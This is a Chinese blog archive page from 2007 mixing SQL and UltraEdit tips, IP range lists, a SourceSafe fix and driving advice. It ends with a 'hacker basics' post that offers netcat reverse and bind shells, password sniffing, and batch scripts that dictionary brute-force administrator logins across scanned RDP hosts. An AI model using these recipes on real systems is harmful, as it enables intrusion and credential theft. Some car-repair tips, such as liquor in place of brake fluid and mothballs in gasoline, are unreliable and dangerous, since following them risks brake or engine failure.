日志存档:05, 2007

不使用游标删除用户表中有ProjectID的内容

2007-05-28,星期一 | 分类:数据库|SQLServer | 141 views

declare @s varchar(8000)
declare @strProjectID VARCHAR(100)
set @s=”
SET @strProjectID=’ND0702′
select @s=@s+’Delete from ‘+o.name + ‘ where ProjectID=”’ + @strProjectID +””+ char(10) from sysobjects o
inner join syscolumns c on c.name=’ProjectID’ and   o.id=c.id
where o.xtype=’u’
–print @s
exec(@s)

在UltraEdit中使用正则表达式

2007-05-26,星期六 | 分类:综合分类|经典收藏 | 150 views

删除空行: 替换 %[ ^t]++^p 为 空串
删除行尾空格: 替换 [ ^t]+$ 为 空串
删除行首空格: 替换 %[ ^t]+ 为 空串
每行设置为固定的4个空格开头: 替换 %[ ^t]++^([~ ^t^p]^) 为 ” ^1″
每段设置为固定的4个空格开头: 替换 %[ ^t]+ 为 ” ”
(如果一行是以空格开始的,则视之为一段的开始行)
将一段合并为一行: 替换 [ ^t]++^p^([~ ^t^p]^) 为 ^1…

日本IP段分布:

2007-05-26,星期六 | 分类:未分类 | 119 views

202.0.65.0- 202.0.65.255 202.0.65/24 JP APNIC
202.0.66.0- 202.0.66.255 202.0.66/24 JP APNIC
202.0.72.0- 202.0.73.255 202.0.72/23 JP APNIC
202.0.76.0- 202.0.76.255 202.0.76/24 JP APNIC
202.0.93.0- 202.0.93.255 202.0.93/24 JP APNIC
202.6.98.0- 202.6.98.255 202.6.98/24 JP APNIC
202.6.103.0- 202.6.103.255 202.6.103/24 JP APNIC
202.11.0.0- 202.11.255.255 202.11/16 JP APNIC
202.12.8.0- 202.12.15.255 202.12.8/21 JP APNIC
202.13.0.0- 202.13.127.255 202.13.0/17 JP APNIC
202.13.128.0- 202.13.191.255 202.13.128/18 JP APNIC
202.13.192.0- 202.13.223.255 202.13.192/19 JP APNIC
202.13.224.0- 202.13.239.255 202.13.224/20 JP APNIC
202.13.240.0- 202.13.247.255 202.13.240/21 JP APNIC
202.13.248.0- 202.13.251.255 202.13.248/22 JP APNIC
202.13.252.0- 202.13.253.255 202.13.252/23 JP APNIC
202.13.254.0- 202.13.254.255 202.13.254/24 JP APNIC
202.15.0.0- 202.15.255.255 202.15/16 JP APNIC
202.16.0.0- 202.19.255.255 202.16/14 JP APNIC
202.20.90.0- 202.20.90.255 202.20.90/24 JP APNIC
202.20.110.0- 202.20.110.255 202.20.110/24 JP APNIC
202.20.123.0- 202.20.123.255 202.20.123/24 JP APNIC
202.20.124.0- 202.20.124.255 202.20.124/24 JP APNIC
202.21.112.0- 202.21.127.255 202.21.112/20 JP APNIC
202.21.150.0- 202.21.151.255 202.21.150/23 JP APNIC
202.21.152.0- 202.21.153.255 202.21.152/23 JP APNIC
202.22.64.0- 202.22.127.255 202.22.64/18 JP APNIC
202.23.0.0- 202.23.255.255 202.23/16 JP APNIC
202.24.0.0- 202.25.255.255 202.24/15 JP APNIC
202.26.0.0- 202.26.255.255 202.26/16 JP APNIC
202.32.0.0- 202.35.255.255 202.32/14 JP APNIC
202.48.0.0- 202.48.255.255 202.48/16 JP APNIC
202.83.128.0- 202.83.191.255 202.83.128/18 JP APNIC
202.139.192.0- 202.139.207.255 202.139.192/20 JP APNIC
202.140.0.0- 202.140.31.255 202.140.0/19 JP APNIC
202.176.0.32- 202.176.0.63 202.176.0.32/27 JP APNIC
202.176.0.64- 202.176.0.127 202.176.0.64/26 JP APNIC
202.176.0.128- 202.176.0.255 202.176.0.128/25 JP APNIC
202.176.1.0- 202.176.1.255 202.176.1/24 JP APNIC
202.176.2.0- 202.176.3.255 202.176.2/23 JP APNIC
202.208.0.0- 202.223.255. 255 202.208/12 JP APNIC
202.224.0.0- 202.255.255. 255 202.224/11 JP APNIC
203.104.128.0- 203.104.159. 255 203.104.128/19 JP APNIC
203.136.0.0- 203.139.255. 255 203.136/14 JP APNIC
203.140.0.0- 203.141.255. 255 203.140/15 JP APNIC
203.165.0.0- 203.165.127. 255 203.165.0/17 JP APNIC
203.178.0.0- 203.179.255. 255 203.178/15 JP APNIC
203.180.0.0- 203.183.255.255 203.180/14 JP APNIC
203.216.0.0- 203.216.255.255 203.216/16 JP APNIC
210.2.0.0- 210.2.255.255 210.2/16 JP APNIC
210.81.0.0- 210.81.63.255 210.81.0/18 JP APNIC
210.88.0.0- 210.88.127.255 210.88.0/17 JP APNIC
210.88.128.0- 210.88.191.255 210.88.128/18 JP APNIC
210.128.0.0- 210.159.255.255 210.128/11 JP APNIC
210.160.0.0- 210.175.255.255 210.160/12 JP APNIC
210.188.0.0- 210.191.255.255 210.188/14 JP APNIC
210.196.0.0- 210.199.255.255 210.196/14 JP APNIC
210.224.0.0- 210.239.255.255 210.224/12 JP APNIC
210.248.0.0- 210.255.255.255 210.248/13 JP APNIC
211.0.0.0- 211.15.255.255 211.0/12 JP APNIC
211.16.0.0- 211.19.255.255 211.16/14 JP APNIC

韩国IP段

2007-05-26,星期六 | 分类:未分类 | 159 views

61.32.0.0     - 61.43.255.255   韩国
61.75.0.0     - 61.75.255.255   韩国
61.84.0.0     - 61.84.255.255   韩国
63.105.0.0    - 63.105.255.255   韩国
128.134.0.0    - 128.134.255.255 韩国
165.186.0.0    - 165.186.255.255 韩国
165.194.0.0    - 165.194.255.255 韩国 Chungang大学
165.246.0.0    - 165.246.255.255 韩国 仁川Inha大学
194.117.100.108 - 194.117.100.111 韩国
195.16.186.0   - 195.16.187.255   韩国
203.234.0.0    - 203.234.255.255 韩国
203.239.0.0    - 203.241.255.255 韩国
203.244.0.0    - 203.254.233.255 韩国
203.254.235.0   - 203.255.255.255 韩国
206.48.168.0   - 206.48.171.255   韩国
210.102.0.0    - 210.102.31.255   韩国
210.112.224.0   - 210.112.255.255 韩国
210.118.0.0    - 210.118.31.255   韩国
210.178.0.0    - 210.184.255.255 韩国
210.219.0.0    - 210.220.255.255 韩国
211.32.0.0    - 211.63.255.255   韩国
211.104.0.0    - 211.107.255.255 韩国
211.112.0.0    - 211.119.255.255 韩国
211.169.0.0    - 211.221.255.255 韩国
211.224.0.0    - 211.224.255.255 韩国
211.233.0.0    - 211.240.255.255 韩国
212.63.191.40   - 212.63.191.43   韩国
213.160.193.64 - 213.160.193.79   韩国
218.36.0.0    - 218.39.255.255   韩国
218.48.0.0    - 218.48.50.255   韩国
218.48.52.0    - 218.55.255.255   韩国
218.144.0.0    - 218.151.255.255 韩国
218.159.0.0    - 218.159.255.255 韩国
218.234.0.0    - 218.239.255.255 韩国
219.144.0.0    - 219.144.23.255   韩国
219.144.25.0   - 219.144.25.255   韩国
219.144.30.0   - 219.144.50.255   韩国
219.144.56.0   - 219.144.79.255   韩国
219.144.96.0   - 219.144.255.255 韩国
220.72.0.0    - 220.87.255.255   韩国
220.120.125.0   - 220.120.125.255 韩国

关于使用Sourcesafe时丢失.frx文件的问题

2007-05-24,星期四 | 分类:编 程|VisualBasic | 121 views

关于使用Sourcesafe时丢失.frx文件的问题
症状
VisualBasic 项目中如果窗体同时包含图形信息并将删除图形信息, 然后 .frx 文件可能是由 VisualBasic自动删除或由用户手动删除。 这会导致以下错误信息用于回 SourceSafe 检查 VisualBasic 项目时显示源代码控制结果窗口:
文件 ” 未找到要 .frx < 路径 > .FRX ”

原因
VisualBasic存储为 .frm 文件中窗体文本信息和 .frx 文件中窗体二进制信息。 每次保存窗体VisualBasic 确定是否需要 .frx 文件。 如果不需要, 删除 .frx 文件。

问题是 VisualSourceSafe 存储当前和历史 VisualBasic 表单 (.frm 和 .frx) 文件的副本。 VisualSourceSafe 不检测 VisualBasic 已确定, 不再需要 .frx 文件。 作为错误 VisualSourceSafe 看到缺少 .frx。

解决方案
使用下列之一来解决此问题:

1.设置为窗体的图标。 这将强制 VisualBasic 向不增加的窗体使用的资源数量或大小始终保留 .frx 文件。
2.(执行不销毁) 启动 VisualSourceSafe 资源管理器删除不再需要的 .frx 文件。 这将从 SourceSafe 删除 .frx 文件不销毁历史。

步骤来重现问题
1. 在 Visual Basic 4.0 启动新项目。 (我的环境是vb6+vss2005 也有这个问题)
2. 将 VisualBasic 项目添加到源代码控制。
3. 签出整个项目 (包括 .vbp 文件)。
4. 添加新窗体 (Form 2)。
5. 向 Form 2 图片属性以创建为 Form 2 .frx 位图。
6. 保存并签入整个项目。
7. 签出项目。
8. 从 Form 2 Picture 属性删除该位图。
9. 保存项目。 (.frx 对于 Form 2 应自动删除由 VisualBasic。
10. 签入整个项目。 在源代码控制结果窗口, 将出现以下消息:
文件 ” 未找到要 .frx < 路径 > .FRX “  

自驾出游八大驾驶技巧

2007-05-22,星期二 | 分类:未分类 | 标签: | 116 views

  驾车出游是一件开心的事情,但自驾途中会经历各种不同的路况,遭遇各种不同的天气环境,如何处理如何应对,显然十分重要。

  高速公路

  在高速公路行车,其实最重要的一点就是不能超速驾驶。虽然国内绝大多数的高速公路都将最高时速限制在120km/h,但在许多高速上,以160km/h甚至超过此速度行驶的大有车在。超高速驾车需要驾驶员的注意力高度集中,无需多久,驾驶员就会产生疲劳的感觉,再加上高速公路不需要驾驶者对车速进行过多的调整,很快,驾驶员就会进入一种精神并不太集中的状态,这导致驾驶员的注意力涣散,处理紧急情况的反应力也随之下降。

  在高速公路上驾驶,保持安全的关键在于在整个行程中适当的调整好驾驶节奏。驾驶员完全可以通过和旅伴进行一些适当的交谈、听音乐或者嚼口香糖来让自己不要很快进入疲劳状态,另一个不错的方法是在杯架上始终放一瓶打开的矿泉水,在疲劳的时候喝上一小口,非常管用。对于那些需要赶远路的自驾者而言,利用高速途中的休息站做一下调整,一般每驾驶1-1.5个小时就应该去休息一下,这样有利于舒缓神经,减少人的疲劳感。

  在高速公路上驾驶的另一个恶习是长时间占用超车道,这是超速行驶所带来的副产品之一。其实,对驾驶员来说,在行车道上驾驶汽车才是明智的做法,由于行车道位于整条高速公路的中间位置,所以对驾驶员来说,位于行车道时,驾驶视野是最为开阔的,而且一旦在高速公路上碰到紧急情况,驾驶员也可以自由地选择向左或者向右进行闪避。

  普通的省道

  除了高速公路,普通的国道和省际公路是自驾游中最容易碰到的路面环境。以笔者个人的经验,各地的国道和省际公路路况差异极大,在这类道路上的车速绝对不能向高速公路看齐。

  在这类公路上驾驶,必须时刻注意公路上的交通标志。并按照提示适当驾驶。需要特别说明的是,由于国道省道多为开放式的公路环境,所以各类突发情况出现的概率远较高速公路来得高,在每次通过一些路口和岔口时,驾驶员最好把脚搁在刹车上以防万一。

  另外,在这类公路上行驶应该尽力避免跟在大货车或者大客车的后方,这类汽车身型巨大,对后方驾驶员的视野会造成巨大的阻碍,跟车太近往往会造成对突发情况的反应不及。还有一点必须指出的是国道和省道沿途会穿过许多城镇和乡村,穿越这些地区时,要特别注意行人以及牲畜,能躲则躲之,如果已来不及躲闪,那么宁可握紧方向盘直直的撞过去,切忌猛打方向企图躲闪,结果往往是造成车辆立刻失控,酿成大祸。

  山路

  说到山路,有很多驾驶员倒是颇为向往,总是觉得山路是一展自己驾驶技巧的场所。也许从趣味上来说,山路的确是最值得驾驶员留恋的道路环境,不过山路其实也是最危险,最难以驾驶的道路环境。

  在山路上行车,最为关键的是把握好自己的驾驶节奏和行车路线,和公路环境不同,驾驶者可以不必完全遵守靠右侧行驶的原则。特别是在山路狭窄的情况下,在对面无来车的前提下,将车的位置固定在道路的中间才是上上之策。一旦遇到对面来车,只需稍微减速,并同时往右侧回位,让对方通过即可。这里还有一个实际操作中的小窍门,驾驶员在遇到来车后,无需立刻回到自己一侧的车道,凡是开车,就必须时刻给自己留有一点余地,当对方临近面前时,只需要向右让出足以让对方通过的距离就好,不要早早的就贴在路的最右侧。

  在山路上开车,最最紧要的问题就是要学会如何对付每一个弯道。对于那些可以完全看清的弯道,如果对面没有来车,事实上驾驶者可以在入弯时稍微借一点对方的车道,并在通过弯道之后回到自己这方道路。但如果是盲弯,驾驶员在通过时必须完全行驶在自己的车道内。如果山路上没有反光镜等辅助装置帮助驾驶员了解盲弯的情况,那么在进入弯道之前,驾驶员可以鸣号示意,提醒盲弯后的车辆或者行人自己正准备通过。

  上山容易下山难,其实驾车翻过一座山麓,往往也是这样的道理。汽车受惯性的影响,在下坡时容易发生车速过快的问题。这时驾驶员应该学会依靠使用合理的档位来用发动机制动牵制车速,过分频繁的刹车很容易导致刹车系统过热衰竭,甚至完全失灵。如果是驾驶手排汽车,在下山时应控制以3档行车,而驾驶自排的驾驶员则可以根据实际情况选择以D3甚至2档行车。

5种紧急情况应对之法

2007-05-22,星期二 | 分类:未分类 | 标签: | 99 views

  发动机进水怎么办?

  车辆经过较深的积水时,经常会将水通过进气口吸入发动机,导致发动机熄火,如果处理不当,会造成严重的后果,甚至使发动机报废。发动机吸入少量的水就会熄火,涉水时发动机转速不要超过2000转,就算发动机吸入水后熄火,也不至于造成很大的损失。

  一旦发动机吸入水后熄火了,不要企图再去启动发动机,应该将车辆推出深水区,确保发动机进气口不会再吸入水分,在安全的地方停好。打开发动机盖,拔下分缸线,将火花塞拆下来,然后启动发动机,发动机汽缸内的水就会通过火花塞的孔被排出发动机,将钥匙保持在启动位置5秒后松开,等10秒钟后再启动发动机5秒钟,如此3次后,基本上可以将水全部排出发动机,再将火花塞擦干后装上去,插好分缸线(注意不要插错),最后再启动发动机时,就可以使发动机正常运转了。如果在拆下火花塞后启动时,发动机没有转动,那说明发动机已经顶死,只能求援进维修站处理了。

  水箱漏水怎么办?

  在长途行车中,水温偏高,如果发现水箱有几处很小的漏水(水箱有沙眼引起),可以采用下述的应急办法:停车后等发动机冷却后,打开水箱盖,将香烟折开,把烟丝捏碎后倒入水箱,或者将肥皂弄成黄豆大小后倒入水箱,然后加满水,盖上水箱盖,启动发动机。不用多久,烟丝或者肥皂在水流循环的过程中会将沙眼堵住,暂时可以解决水箱漏水的问题,一旦有条件后应马上维修,而且需要清洗冷却系统。

  机油缺少怎么办?

  如果碰到机油不够,机油压力就会不足,机油灯亮起,应该马上熄火,否则发动机会拉缸烧瓦。恰巧在行车途中又买不到机油来添加,那么您可以买豆油或花生油暂时代替加入发动机,然后尽快将车辆开到修理厂进行换油,否则会留下很多积碳。

  刹车油缺少怎么办?

  在正常的长途行车中,若刹车警告灯突然亮起,表示刹车油不够,说明刹车系统可能有渗漏现象,此时不可以继续开车,应该及时停车,必须马上购买和本车相同标号的刹车油添加,如果买不到刹车油,可以买高度数的白酒代替添加,这不会影响刹车效果,但不可频繁刹车,然后应尽快将车辆开到修理厂检修,并彻底更换制动液。

  没有高号油怎么办?

  若您的车发动机压缩比较高,而途中又加不到高标号汽油,您可购买两袋“樟脑球”,将它放在汽油中溶化,然后用丝袜过滤后加入油箱(比例为10升油加两颗)即可。但这种方法只能作为临时应急,不能长期使用,一旦可以加到高标号的汽油后,应该尽量在汽油灯亮了以后再去加高标号汽油,连续3次灯亮后再加汽油后,就可消除上述临时应急带来的后遗症了。

注意细节:巧解行车八大危险

2007-05-22,星期二 | 分类:未分类 | 标签: | 104 views

开车,对于一个刚领驾照的菜鸟来说,感觉还是惶惶的,要想进入大虾的级别,也不是一朝一夕的事情,其实进阶高手也不过就是经验累计的过程,车辆行驶在马路上,情况是变化莫测的,只要你稍加留心、胆大、心细,遵章守纪,各行其道,开车也就变的不过如此了;不仅如此,一些看似很微妙的细节却可以让你避免意外的发生。

  潜在危险之一

  在一个三车道的路上,当你从左车道超越位于中间车道的前车后回中间车道,这时后面有一辆车以更快的速度从右侧车道超车且稍前于你并入中间车道,如果你只看前面或后视镜,你的车头就有可能横擦对方的车尾。 由于两车超车时的速度都很快,发现时距离太近以至来不及反应。这种擦碰的危险及类似情况常发生在多车道的城市道路上。

  建议:眼观六路,耳听八方,超车后不能只顾及一面,要多留意右边的车辆。

  潜在危险之二

  跟车超车是一种常见的现象,一般前车超车从容的时候会走直线并道,这样会有余地挤入两车中间。但当对面来车很快时,前车就会慌忙急拐并道把你晾在超车道上。这时就会前后左右无路可逃。更加危险的是,前车比你大一圈,对面来车看不到你,在前车超车并道时对面来车反而开始加速。这种情况多发生在未安装隔离带的乡村公路上。

  措施:不提倡这种超车方式,毕竟是属于占道超车,如果实在要超,等前面的车辆超车入位后再行动,尤其是警惕大车或长车。

  潜在危险之三

  超车是汽车行驶中的高危时段(车速相对快,距离也相对较近),当您刚超过前车一露出车头时,却发现一个行人从被超车的侧方奔跑过来,往往在超车前,车辆和行人都是看不到对方的,行人匆忙横穿,超车车辆匆忙加速,等超过前车露头时,行人刚好从前车面前冲出来。

  建议:超车的时候,在安全距离下转到左道,鸣笛并稍加观察周围的情况,待加速至与被超车辆平行时,再稍作观察并加速超过。

  潜在危险之四

  驾驶室的两个侧柱足以挡住一个行人。同样,车内中后视镜也会不同程度遮挡右下45度视线。在无红灯的十字路口或人车混杂的闹市区,目标较多使注意力分散,行人进入视线死角可能不被察觉。如行人与汽车方向平行时这些死角可以保持数秒。这时汽车加速或转弯行人就会突然闪出来导致措手不及。虽然碰撞不会太严重,但剐了车心痛不说,再加上现在的《道法》规定了行人为弱势群体哦。

  措施:碰到此类情况速度一定要慢,以便有足够时间四处观察,要以三个死角为重点察看目标,可以适当按下喇叭来提醒周围的行人。

  潜在危险之五

  经过小街道时,由于大部分车都贴了膜看不清车内的一些情况,当你经过时要注意停驻在右边车里的马大哈突然开门。这些事情基本都发生在小街或在小区内,把门擦花到都是小事,万一把手弄伤,那就很麻烦了。自己也要引以为戒,开车门下车前一定要看看后面的情况。

  措施:感觉侧前方车门有开启的意向动作,马上减速,鸣笛,尽可能望中间行驶。

  潜在危险之六

  在乡村路上,有时会遇到农民晾晒的麦子以及因修路有短暂的碎沙路面。因为很短很多人会高速通过。这是非常危险的。试想当车辆在紧急情况时,人都会下意识地制动或避闪,往往在这样的路面上车采取这种措施的话,车的轮胎将失去路面对它的附着力,那么这时的车,就不是你所能控制的了。

  措施:对路面变化的影响要有清醒的认识,提前减速并采取预防性措施,防患于未然。

  潜在危险之七

  在公路上开车, 如果有一辆大车紧紧跟随,寸步不离,是否有紧迫的感觉?此时的您应该保持清醒的头脑。不要盲目的提速来甩开它,如果前面出现了紧急情况,你刹得住车,大车停得住吗?

  措施:在同等距离和速度下,大车追尾的危险和伤害程度远远大于小车,毕竟体积大,体重重,从而制动的距离也就增加了不少,所以,尽量避让它是良策,打个转向灯,减速,靠边,用您的行动来告诉那个庞然大物:“您先……”

  潜在危险之八

  走了很长的盘山路,在一段较空旷且平直的下坡路时不放空挡滑行,这个您肯定是知道的,但这个时候您可能会有放松一下的想法,把脚从制动踏板或油门踏板上拿下来活动活动?如果发生突然情况,由于你的脚失去的踏板的参照物,在一瞬间你能保证你是踏到了制动踏板上?

  建议:你的脚虽然有点累,但还是建议让它们坚持在战斗岗位上吧。

来源:中国汽车网(F-02)

说说开车时的紧急情况和预防(转)

2007-05-22,星期二 | 分类:未分类 | 标签: | 129 views

     开车时遇到紧急情况,如果我们没有惊慌失措,我们能做的有两点:一刹车,二打方向。

   但很明显的,有时紧急情况下,刹车和方向的作用还是很有限的.

   追尾是常见事故,开车时,有时我们和前面的车跟得比较紧,而这时偏偏前面的车突然一脚刹车踩到底,一下子急刹车,哟,千年等一回,这时向右不好打方向,右边有自行车和行人,向左,对面有来车,也不好打方向,这时也唯有一脚刹车踩到底,但此时前途是黑暗的,心中浑身是冰凉的,眼看着车子是箭一样不停的朝前撞去。

   像这种情况,有时出于本能,(还有可能手握方向盘的位置向左打方向方便),我们会向左边打方向避让,但因为距离和前车太近了,可能还是让不开的,而这时也很可能和左边的对面来车再次发生碰撞。如果事故大一点的话,就属于急中出乱,乱上加乱。

   可以说,在这种情况下,无论怎样打方向,无论怎样刹车,都无法再保证我们的人车安全。

   我开车时也遇到过两三次前面的车突然急刹车,好像当时觉得急打方向避让是让不开的,或者是很不安全的。通过自我思想反省,现在开车时还是注意这个和前车的安全距离问题的,不跟得太近。

   还有,像行人和自行车突然横穿公路,而这条路又不太宽,我们当时的车速又比较快,这,十万火急,那我们急刹车和打方向,以最好最标准的动作,双管齐下!对不起,很抱歉,因为这是属于意外紧急情况,安全操作程序一律无用无效。

   有个朋友发生两次相同的事故,都是在快速行驶准备超摩托车时,近前的摩托车却突然向左斜穿公路,在没思想准备的心理情况下,或者在速度快的情况下,这也算是紧急情况,汽车驾驶员同样赶紧方向加刹车,结尾也同样以碰撞来宣告结束。

   有个朋友才学开车,下雨天,在一条比较落窄的公路上,这时后面有一辆车超车,因为路窄,超车时两辆车靠得很近,超车将近结束时,当时前面没有任何情况,但超车的车却突然向被超车挤压方向并施加刹车,这也是个突然意想不到的紧急情况吧?被超车出于本能向右跟把方向冲出路面翻车,这个事故原因,可能是新驾驶员才开车,没经验,不知道后面有一辆车一直想超车,而超车的人又不知道前车是个新驾驶员,只知道超好了车想出出气解解恨,所以有了这么个难题,这个难题基本上也是没解的,所以从才学开车起,在不大宽的道路上,当别人超车时,就最好注意,脚赶快移到刹车上,从各种方位上和超车的车拉开安全距离,手抓紧方向盘,注意预防。

   附带探讨一下这时的应急处理,关键的可能是,当时应手抓紧方向盘,不要轻易的打方向,不要轻易的下沟,踩下刹车,能让就让,不能让就抓紧方向先碰刮一下。而先一下子本能的避让下沟好像不大好。

   还有我举过的自已经历的例子,坐朋友的夏利车,在一条不太宽的公路上,夜里,90多公里的时速,突然发现路前面有张不起眼的方桌,四平八稳的放在路中间,因为夜晚视线有限,等发现了就紧急打方向避让,结果冲出路面翻车,很危险,实际上这时正确的应急处理也应该是牢牢抓紧方向盘,踩刹车,那怕最后对准方桌撞一撞,问题不大。

   一般来说,遇情况就先刹车减速,再打方向避让,如有不减速想侥幸避让通过是错误的。

   面对可能会发生的情况,提前有思想准备,情况就不过是一般情况,而心理上没相应的思想准备,情况就成了紧急情况。

   如果我们思想上准备好了,措施上预防好了,无形中就将危险情况化解了。

   夜晚车速放慢点,思想上准备前面有看不怎么清楚的东西,实际开车时一步步看清了就安全了,

   别人超车时,思相上防着他突然急刹车,这样也安全。

   前面有情况,比如在不太宽的道路上,路边有同向行驶自行车和行人,或者是视线隐蔽不清的地方,一律用:减速、提前响喇叭、拉开安全距离、注意观察、随时准备停车这五点来预防,如有时不好响喇叭,那这时车速就要再放慢点。可以说,遇到任何情况,都可以用这五点来预防。

   前面的情况,会可能眨眼之间变成危急情况,所以认为,还是要多作准备预防措施。

   危急情况发生时,大多时很可能超过处界安全条件和我们自身心理的承受能力,我们的身心基本上是处于超负荷状态,急中生智的少,忙中出乱的多。

   可能我们心里还是很有点迷信自已的手急眼快,我以前也喜欢开快车,不过实事求是的评估我自已,简单的应急能力有这么一点,但真的遇到突如其来的事时,反应能力还是极差的,要么是惊慌失措,或者是呆若木马。

   设想这样一个情节,深更半夜,黑灯瞎火,不是开车,是走路,一个人在路上往前跑,这时后面有一个人悄悄的跟上来,突然贴近耳边高声怪笑,这也算是紧急情况吧?有多少人能可以冷静的应对,大概要吓昏了一半。

   半夜,还是开车的好,汽车提供我们一个安全的空间。

   在开车时,好的预防意识,好的预防措施,同样很好为我们提供一个可靠的安全行车空间。

黑客基础之DOS

2007-05-22,星期二 | 分类:系统集成|病毒安全 | 119 views

系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C  
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
     基本用法:
nc -nvv 192.168.0.1 80   连接到192.168.0.1主机的80端口
nc -l -p 80   开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024   扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe   绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80   作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt   作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt  
nc -L -p 80 < c:\honeyport.txt   作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80   作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称   传送文件到对方主机
备   注:
| 管道命令
<     或     > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别  >指:覆盖;>>指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。     
   
2、扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]   扫锚起始IP到终止IP段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项]   扫锚主机IP列表文件名中的所有主机信息
检测项目
-active   检测主机是否存活
-os   检测远程操作系统类型(通过NETBIOS和SNMP协议)  
-port   检测常用服务的端口状态  
-ftp 检测FTP弱口令  
-pub   检测FTP服务匿名用户写权限  
-pop3 检测POP3-Server弱口令  
-smtp 检测SMTP-Server漏洞  
-sql   检测SQL-Server弱口令  
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi   检测CGI漏洞
-nasl   加载Nessus攻击脚本  
-all   检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过-l参数获取  
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机  
-o   跳过没有检测到开放端口的主机  
  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10  
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)  
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o   检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机  
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报  
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名  
-addr IP地址 过滤IP地址
-port 端口 过滤端口  
-log 文件名 将输出保存到文件  
-asc 以ASCII形式输出
-hex 以16进制形式输出  
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中  
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出  

4、终端服务密码破解: tscrack.exe

参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic   远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456   用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f tokens=1 delims= %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown \\IP地址 t:20   20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn   当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
